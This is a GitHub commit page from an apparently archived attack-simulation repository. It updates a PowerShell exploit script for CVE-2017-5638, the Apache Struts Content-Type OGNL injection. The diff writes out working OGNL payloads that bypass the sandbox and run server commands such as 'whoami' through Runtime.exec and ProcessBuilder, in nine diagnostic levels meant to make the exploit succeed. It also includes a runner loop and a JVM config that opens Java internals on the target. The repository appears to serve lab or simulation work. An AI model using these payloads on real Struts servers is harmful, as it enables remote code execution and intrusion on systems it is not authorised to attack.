Skip to content
This repository was archived by the owner on Apr 27, 2026. It is now read-only.

Commit 5de4c9c

Browse files
committed
feat(script): expand diagnostic levels and enhance output
1 parent 602ea38 commit 5de4c9c

3 files changed

Lines changed: 21 additions & 12 deletions

File tree

simulation/attack-script/exploit_cve_2017_5638.ps1

Lines changed: 17 additions & 11 deletions
Original file line numberDiff line numberDiff line change
@@ -157,22 +157,28 @@ $writeSuffix =
157157
if ($DiagLevel -gt 0) {
158158
# -- DIAGNOSTIC MODE: incremental payloads to find exact failure step --
159159
$diagLabel = switch ($DiagLevel) {
160-
1 { "sandbox bypass only (same as demo)" }
161-
2 { "call Runtime.getRuntime()" }
162-
3 { "exec process (echo HELLO)" }
163-
4 { "exec + waitFor (exit code)" }
164-
5 { "exec + waitFor + readAllBytes" }
165-
6 { "exec + waitFor + readAllBytes + new String" }
160+
1 { "sandbox bypass only" }
161+
2 { "Runtime.getRuntime() + freeMemory()" }
162+
3 { "new StringBuilder - test new for java.lang" }
163+
4 { "new ProcessBuilder({'whoami'}) - NO start" }
164+
5 { "PB.command() - verify PB internals" }
165+
6 { "PB.start() - the actual process creation" }
166+
7 { "rt.exec('whoami') - separate var, not chained" }
167+
8 { "getRuntime().exec('whoami') - chained form" }
168+
9 { "new File('.').getAbsolutePath() - another java.io class" }
166169
}
167170
Write-Host "[STEP 2] DIAGNOSTIC level $DiagLevel - $diagLabel" -ForegroundColor Magenta
168171

169172
$diagBody = switch ($DiagLevel) {
170173
1 { ".(#proof='DIAG1: sandbox_bypass=OK')" }
171-
2 { ".(#rt=@java.lang.Runtime@getRuntime()).(#proof='DIAG2: Runtime=' + #rt.toString())" }
172-
3 { ".(#process=@java.lang.Runtime@getRuntime().exec('cmd.exe /c echo HELLO')).(#proof='DIAG3: exec_OK, process=' + #process.toString())" }
173-
4 { ".(#process=@java.lang.Runtime@getRuntime().exec('cmd.exe /c echo HELLO')).(#exitCode=#process.waitFor()).(#proof='DIAG4: exitCode=' + #exitCode)" }
174-
5 { ".(#process=@java.lang.Runtime@getRuntime().exec('cmd.exe /c echo HELLO')).(#process.waitFor()).(#data=#process.getInputStream().readAllBytes()).(#proof='DIAG5: readAllBytes.length=' + #data.length)" }
175-
6 { ".(#process=@java.lang.Runtime@getRuntime().exec('cmd.exe /c echo HELLO')).(#process.waitFor()).(#data=#process.getInputStream().readAllBytes()).(#out=new java.lang.String(#data,'UTF-8')).(#proof='DIAG6: output=[' + #out + ']')" }
174+
2 { ".(#rt=@java.lang.Runtime@getRuntime()).(#mem=#rt.freeMemory()).(#proof='DIAG2: mem=' + #mem)" }
175+
3 { ".(#sb=new java.lang.StringBuilder('test')).(#proof='DIAG3: StringBuilder=' + #sb.toString())" }
176+
4 { ".(#p=new java.lang.ProcessBuilder({'whoami'})).(#proof='DIAG4: PB=' + #p.toString())" }
177+
5 { ".(#p=new java.lang.ProcessBuilder({'whoami'})).(#cmd=#p.command()).(#proof='DIAG5: command=' + #cmd.toString())" }
178+
6 { ".(#p=new java.lang.ProcessBuilder({'whoami'})).(#p.redirectErrorStream(true)).(#process=#p.start()).(#proof='DIAG6: process=' + #process.toString())" }
179+
7 { ".(#rt=@java.lang.Runtime@getRuntime()).(#process=#rt.exec('whoami')).(#proof='DIAG7: process=' + #process.toString())" }
180+
8 { ".(#process=@java.lang.Runtime@getRuntime().exec('whoami')).(#proof='DIAG8: process=' + #process.toString())" }
181+
9 { ".(#f=new java.io.File('.')).(#proof='DIAG9: cwd=' + #f.getAbsolutePath())" }
176182
}
177183

178184
$contentType = ".%{" + $bypassPrefix + $diagBody + "." + $writeSuffix + "}.multipart/form-data"

simulation/attack-script/run.ps1

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -23,7 +23,7 @@ While ($true) {
2323
'd' {
2424
Write-Host "`n=== DIAGNOSTIC: Running levels 1-6 ===" -ForegroundColor Magenta
2525
Write-Host "Each level adds one step. First failure reveals the problem.`n" -ForegroundColor Magenta
26-
for ($lvl = 1; $lvl -le 6; $lvl++) {
26+
for ($lvl = 1; $lvl -le 9; $lvl++) {
2727
Write-Host "--- Diagnostic level $lvl ---" -ForegroundColor Magenta
2828
.\exploit_cve_2017_5638.ps1 -DiagLevel $lvl
2929
Write-Host ""

simulation/backend/.mvn/jvm.config

Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,3 @@
1+
--add-opens java.base/java.lang=ALL-UNNAMED
2+
--add-opens java.base/java.io=ALL-UNNAMED
3+
--add-opens java.base/java.util=ALL-UNNAMED

0 commit comments

Comments
 (0)